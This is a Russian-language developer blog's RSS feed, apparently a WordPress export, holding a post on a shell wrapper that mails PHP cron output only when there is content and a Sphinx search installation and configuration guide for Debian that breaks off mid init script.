<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>заметки на полях</title>
	<atom:link href="http://svdev.ru/feed/" rel="self" type="application/rss+xml" />
	<link>http://svdev.ru</link>
	<description>Блокнот разработчика</description>
	<lastBuildDate>Thu, 08 Dec 2011 11:40:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Упрощение отслеживания отработанных по крону скриптов</title>
		<link>http://svdev.ru/blog/php-cron-spy/</link>
		<comments>http://svdev.ru/blog/php-cron-spy/#comments</comments>
		<pubDate>Thu, 06 Oct 2011 07:54:14 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=653</guid>
		<description><![CDATA[Пожалуй в любом более менее крупном проекте возникает необходимость выполнения заданий по крону, т. е. независимо от действий пользователей с определенной периодичностью. Совершенно определенно что результат выполнения скриптов необходимо отслеживать, что бы вовремя узнать о возникшей проблеме. Самый простой вариант, это генерация отчета о работе или ошибки в скрипте и отправке из крона на почту, [...]]]></description>
			<content:encoded><![CDATA[<p>Пожалуй в любом более менее крупном проекте возникает необходимость выполнения заданий по крону, т. е. независимо от действий пользователей с определенной периодичностью. Совершенно определенно что результат выполнения скриптов необходимо отслеживать, что бы вовремя узнать о возникшей проблеме. Самый простой вариант, это генерация отчета о работе или ошибки в скрипте и отправке из крона на почту, как то так (из крона, а не из скрипта потому что <strong>fatal error</strong> на почту из скрипта не придет):</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">17</span> <span style="color: #000000;">3</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> www-data <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php5-cgi <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>cron<span style="color: #000000; font-weight: bold;">/</span>user_rating.php <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> mail <span style="color: #660033;">-s</span> <span style="color: #ff0000;">&quot;Пересчет рейтинга пользователей&quot;</span> mail<span style="color: #000000; font-weight: bold;">@</span>example.com</div></div>
<p>В итоге на почту периодически будут сваливаться отчеты вида:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">X-Powered-By: PHP<span style="color: #000000; font-weight: bold;">/</span>5.2.6-<span style="color: #000000;">1</span>+lenny13<br />
Content-type: text<span style="color: #000000; font-weight: bold;">/</span>html<br />
<br />
Начало: <span style="color: #000000;">2011</span>-<span style="color: #000000;">10</span>-03 03:<span style="color: #000000;">17.01</span><br />
<br />
... сгенерированные данные о проделанной работе ...<br />
<br />
Окончание: <span style="color: #000000;">2011</span>-<span style="color: #000000;">10</span>-03 03:<span style="color: #000000;">17.01</span></div></div>
<p>Все хорошо. Но иногда бывает что дергать такие скрипты необходимо часто (дабы избежать задержки), а вот что-то делать они будут далеко не всегда, т. е. попросту запускаться, смотреть что ничего делать не надо генерит пустой отчет и все. А вот когда этих скриптов становится много, то наступает такой момент когда только просмотреть отчеты на почте занимает неприлично много времени, потом это надоедает и отчеты просто не просматриваясь удаляются. Теряется смысл вообще всех этих отчетов.<br />
Выход нашелся в следующем. При отсутствии действий в скрипте не генерировать пустой отчет, т. е. не выводить ничего, а по крону смотреть, что если в выхлопе только три строки:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">X-Powered-By: PHP<span style="color: #000000; font-weight: bold;">/</span>5.2.6-<span style="color: #000000;">1</span>+lenny13<br />
Content-type: text<span style="color: #000000; font-weight: bold;">/</span>html</div></div>
<p>то на почту ничего отправлять не надо.<br />
Делаем скрипт <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php_cron.sh</span></code>:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<br />
<span style="color: #007800;">strtocut</span>=<span style="color: #000000;">3</span><br />
<span style="color: #666666; font-style: italic;"># минимальная длина на всякий случай, может лишний перенос закрадется</span><br />
<span style="color: #007800;">minlen</span>=<span style="color: #000000;">10</span><br />
<br />
<span style="color: #007800;">line</span>=<span style="color: #000000;">1</span><br />
<span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> INPUT; <span style="color: #000000; font-weight: bold;">do</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$line</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$strtocut</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #007800;">OUTPUT</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">${OUTPUT}</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #007800;">${INPUT}</span>&quot;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">fi</span><br />
&nbsp; &nbsp; <span style="color: #007800;">line</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">expr</span> <span style="color: #007800;">$line</span> + <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">`</span><br />
<span style="color: #000000; font-weight: bold;">done</span><br />
<br />
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">expr</span> length <span style="color: #ff0000;">&quot;<span style="color: #007800;">$OUTPUT</span>&quot;</span><span style="color: #000000; font-weight: bold;">`</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$minlen</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #007800;">$OUTPUT</span> <span style="color: #000000; font-weight: bold;">|</span> mail <span style="color: #660033;">-s</span><span style="color: #ff0000;">&quot;$2&quot;</span> <span style="color: #007800;">$1</span><br />
<span style="color: #000000; font-weight: bold;">fi</span></div></div>
<p>даем ему права на выполнение</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">$ </span><span style="color: #c20cb9; font-weight: bold;">chmod</span> +x <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php_cron.sh</div></div>
<p>и изменяем задание в кроне следующим образом:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">17</span> <span style="color: #000000;">8</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> www-data <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php5-cgi <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>cron<span style="color: #000000; font-weight: bold;">/</span>paid_notifier.php <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php-cron.sh mail<span style="color: #000000; font-weight: bold;">@</span>example.com <span style="color: #ff0000;">&quot;Отправка уведомлений об окончании услуг&quot;</span></div></div>
<p>Теперь на почту будут приходить только сообщения о проделанной работе, а о том что делать было нефиг нас не потревожат.</p>
<p>P/S С удовольствием приму вариант более элегантного решения. <img src='http://svdev.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/php-cron-spy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Установка и настройка Sphinx на debian</title>
		<link>http://svdev.ru/blog/sphinx-install/</link>
		<comments>http://svdev.ru/blog/sphinx-install/#comments</comments>
		<pubDate>Fri, 23 Sep 2011 12:14:04 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=634</guid>
		<description><![CDATA[Sphinx это мощнейший поисковый движок, очень быстрый, умеет работать с различными словарями и искать по словоформам. Ну и много чего еще. Выбираем версию http://sphinxsearch.com/downloads/ (здесь речь пойдет о 2.0.1-beta) $ tar xzvf sphinx-2.0.1-beta.tar.gz $ cd sphinx-2.0.1-beta # указываем что установить надо в /usr/local/sphinx и с поддержкой MySQL $ ./configure --prefix=/usr/local/sphinx --with-mysql Если после этого шага вываливается примерно такая [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://sphinxsearch.com/" target="_blank">Sphinx</a> это мощнейший поисковый движок, очень быстрый, умеет работать с различными словарями и искать по словоформам. Ну и много чего еще.</p>
<p>Выбираем версию <a href="http://sphinxsearch.com/downloads/">http://sphinxsearch.com/downloads/</a> (здесь речь пойдет о <a href="http://sphinxsearch.com/files/sphinx-2.0.1-beta.tar.gz" target="_blank">2.0.1-beta</a>)<span id="more-634"></span></p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #c20cb9; font-weight: bold;">tar</span> xzvf sphinx-2.0.1-beta.tar.gz<br />
$ <span style="color: #7a0874; font-weight: bold;">cd</span> sphinx-2.0.1-beta<br />
<span style="color: #666666; font-style: italic;"># указываем что установить надо в /usr/local/sphinx и с поддержкой MySQL</span><br />
$ .<span style="color: #000000; font-weight: bold;">/</span>configure <span style="color: #660033;">--prefix</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx <span style="color: #660033;">--with-mysql</span></div></div>
<p>Если после этого шага вываливается примерно такая ошибка:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">checking MySQL libraries... configure: error: missing libraries.<br />
<br />
<span style="color: #000000; font-weight: bold;">******************************************************************************</span><br />
ERROR: cannot <span style="color: #c20cb9; font-weight: bold;">find</span> MySQL libraries.<br />
<br />
Check that you <span style="color: #000000; font-weight: bold;">do</span> have MySQL libraries installed.<br />
The package name is typically <span style="color: #ff0000;">'mysql-devel'</span>.<br />
<br />
If libraries are installed on your system, but you are still getting<br />
this message, you should <span style="color: #000000; font-weight: bold;">do</span> one of the following:<br />
<br />
<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> either specify libraries location explicitly, using <span style="color: #660033;">--with-mysql-libs</span>;<br />
<span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> or specify MySQL installation root location explicitly, using <span style="color: #660033;">--with-mysql</span>;<br />
<span style="color: #000000;">3</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> or <span style="color: #c20cb9; font-weight: bold;">make</span> sure that the path to <span style="color: #ff0000;">'mysql_config'</span> program is listed <span style="color: #000000; font-weight: bold;">in</span><br />
your PATH environment variable.<br />
<br />
To disable MySQL support, use <span style="color: #660033;">--without-mysql</span> option.<br />
<span style="color: #000000; font-weight: bold;">******************************************************************************</span></div></div>
<p>Необходимо установить недостающую библиотеку <code class="codecolorer bash default"><span class="bash">libmysql++-dev</span></code> и запустить процесс конфигурации еще раз</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #c20cb9; font-weight: bold;">apt-get install</span> libmysql++-dev<br />
$ .<span style="color: #000000; font-weight: bold;">/</span>configure <span style="color: #660033;">--prefix</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx <span style="color: #660033;">--with-mysql</span></div></div>
<p>и продолжить в обычном режиме</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #c20cb9; font-weight: bold;">make</span><br />
$ <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span></div></div>
<p>Готово, теперь sphinx необходимо настроить. Пример конфигурационного файла (более подробно можно посмотреть разумеется в документации):</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;"># Базовые настройки источника данных - информация о подключении к БД</span><br />
<span style="color: #666666; font-style: italic;"># Реальные источники данных будут от него наследоваться</span><br />
<span style="color: #666666; font-style: italic;"># Я предпочел создать отдельного пользователя и дать ему права на чтение только на необходимые таблицы</span><br />
<span style="color: #7a0874; font-weight: bold;">source</span> baseSource<br />
<span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">type</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= mysql<br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_host &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= localhost<br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_user &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= sphinx<br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_pass &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= password<br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_db &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span style="color: #c20cb9; font-weight: bold;">basename</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; mysql_connect_flags &nbsp; &nbsp; = <span style="color: #000000;">32</span> <span style="color: #666666; font-style: italic;"># 32- включение сжатие при обмене данными с БД</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># Включам нужную кодировку соединения и выключаем кеш запросов</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_query_pre &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = SET NAMES utf8<br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_query_pre &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = SET SESSION <span style="color: #007800;">query_cache_type</span>=OFF<br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;"># описываем источник данных. Информация о подключении к БД берется из родителя</span><br />
<span style="color: #666666; font-style: italic;"># здесь же описываем как выбирать данные</span><br />
<span style="color: #7a0874; font-weight: bold;">source</span> forumPostSource : baseSource<br />
<span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># запрос для дробления получения топиков на неколько итераций</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_query_range &nbsp; &nbsp; &nbsp; &nbsp; = SELECT MIN<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">id</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>,MAX<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">id</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> FROM forum_post<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># сколько получать объектов за итерацию</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_range_step &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span style="color: #000000;">1000</span><br />
<br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># запрос на выборку данных</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_query &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = SELECT fp.id, fp.theme_id, ft.category_id, ft.name AS theme_name, UNIX_TIMESTAMP<span style="color: #7a0874; font-weight: bold;">&#40;</span>fp.created_time<span style="color: #7a0874; font-weight: bold;">&#41;</span> AS created_time, fp.front_text FROM forum_post AS fp JOIN forum_theme AS ft ON <span style="color: #7a0874; font-weight: bold;">&#40;</span>fp.theme_id = ft.id<span style="color: #7a0874; font-weight: bold;">&#41;</span> \<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WHERE fp.deleted = <span style="color: #000000;">0</span> AND ft.deleted = <span style="color: #000000;">0</span> AND fp.id <span style="color: #000000; font-weight: bold;">&gt;</span>= <span style="color: #007800;">$start</span> AND fp.id <span style="color: #000000; font-weight: bold;">&lt;</span>= <span style="color: #007800;">$end</span><br />
<br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># описываем аттрибуты</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_attr_timestamp &nbsp; &nbsp; &nbsp;= created_time<br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_attr_uint &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = theme_id<br />
&nbsp; &nbsp; &nbsp; &nbsp; sql_attr_uint &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = category_id<br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;"># настройки хранения данных (индекса)</span><br />
index forumPostIndex<br />
<span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">source</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= forumPostSource<br />
&nbsp; &nbsp; &nbsp; &nbsp; path &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>data<span style="color: #000000; font-weight: bold;">/</span>forumPost<br />
&nbsp; &nbsp; &nbsp; &nbsp; docinfo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = extern<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; mlock &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span style="color: #000000;">0</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># Используемые морфологические движки</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; morphology &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= stem_enru<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># Кодировака данных из источника &nbsp; &nbsp; &nbsp; &nbsp;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; charset_type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= utf-<span style="color: #000000;">8</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; charset_table = <span style="color: #000000;">0</span>..<span style="color: #000000;">9</span>, A..Z-<span style="color: #000000; font-weight: bold;">&gt;</span>a..z, _, a..z, U+0401-<span style="color: #000000; font-weight: bold;">&gt;</span>U+0435, U+0451-<span style="color: #000000; font-weight: bold;">&gt;</span>U+0435, U+<span style="color: #000000;">410</span>..U+42F-<span style="color: #000000; font-weight: bold;">&gt;</span>U+<span style="color: #000000;">430</span>..U+44F, U+<span style="color: #000000;">430</span>..U+44F<br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># Из данных источника HTML-код нужно вырезать</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; html_strip &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span style="color: #000000;">1</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;"># Настройки индексатора</span><br />
indexer<br />
<span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; mem_limit &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = 32M<br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;"># Настройка демона-поисковика</span><br />
searchd<br />
<span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; listen &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span style="color: #000000;">9306</span>:mysql41<br />
&nbsp; &nbsp; &nbsp; &nbsp; log &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>searchd.log<br />
&nbsp; &nbsp; &nbsp; &nbsp; query_log &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>query.log<br />
&nbsp; &nbsp; &nbsp; &nbsp; query_log_format&nbsp; &nbsp; = sphinxql<br />
&nbsp; &nbsp; &nbsp; &nbsp; read_timeout &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span style="color: #000000;">5</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; max_children &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span style="color: #000000;">30</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; pid_file &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>searchd.pid<br />
&nbsp; &nbsp; &nbsp; &nbsp; max_matches &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span style="color: #000000;">100000</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; seamless_rotate &nbsp; &nbsp; &nbsp; &nbsp; = <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; preopen_indexes &nbsp; &nbsp; &nbsp; &nbsp; = <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; unlink_old &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; workers &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = threads <span style="color: #666666; font-style: italic;"># for RT to work</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span></div></div>
<p>Далее запустим индексатор для первоначального создания индекса</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">$ </span><span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>indexer <span style="color: #660033;">-all</span></div></div>
<p>Теперь нам понадобится shell скрипт для запуска и остановки демона, что бы можно было его потом добавить в автозагрузку. Создаем скрипт:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">$ </span><span style="color: #c20cb9; font-weight: bold;">vim</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>sphinx</div></div>
<p>Вставляем код:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#! /bin/sh</span><br />
<br />
<span style="color: #007800;">PATH</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sbin:<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>bin:<span style="color: #000000; font-weight: bold;">/</span>sbin:<span style="color: #000000; font-weight: bold;">/</span>bin:<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>sbin:<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<br />
<span style="color: #007800;">DAEMON</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>searchd<br />
<span style="color: #007800;">NAME</span>=sphinx<br />
<span style="color: #007800;">DESC</span>=sphinx<br />
<br />
<span style="color: #666666; font-style: italic;">#test -x $DAEMON || exit 0</span><br />
<br />
